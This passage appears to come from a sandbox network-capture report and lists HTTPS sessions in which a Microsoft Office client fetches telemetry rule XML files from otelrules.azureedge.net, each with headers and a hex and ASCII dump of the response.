4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:17 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:18 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052817Z-16849878b78km6fmmkbenhx76n00000003ug00000000p3by x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:17 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:18 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052817Z-16849878b78p49s6zkwt11bbkn000000045g00000000g6np x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:17 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052818Z-16849878b786jv8w2kpaf5zkqs00000003d000000000gvgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:18 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: bfa8a904-401e-0067-802c-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052818Z-15b8d89586f2hk28h0h6zye26c000000073g000000002xdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:18 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:18 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:18 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 9a40e34d-b01e-005c-559c-274c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052818Z-16849878b786fl7gm2qg4r5y7000000004y0000000002su5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:18 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:18 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:18 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:18 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052818Z-16849878b78km6fmmkbenhx76n00000003y00000000088bg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:18 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:18 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052818Z-16849878b78j5kdg3dndgqw0vg000000066g00000000h4kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:18 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:18 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052818Z-16849878b78tg5n42kspfr0x4800000004k000000000b66w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:18 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:18 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4673aea1-f01e-00aa-023d-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052818Z-17c5cb586f6mkpfk79wxvcahc000000004y0000000009h83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:19 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 48a66efd-001e-00a2-625d-26d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052819Z-r197bdfb6b4grkz4xgvkar0zcs000000047g000000001znv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:19 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:19 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:19 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 63860650-101e-00a2-42b4-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052819Z-16849878b786jv8w2kpaf5zkqs00000003dg00000000dc7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:19 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
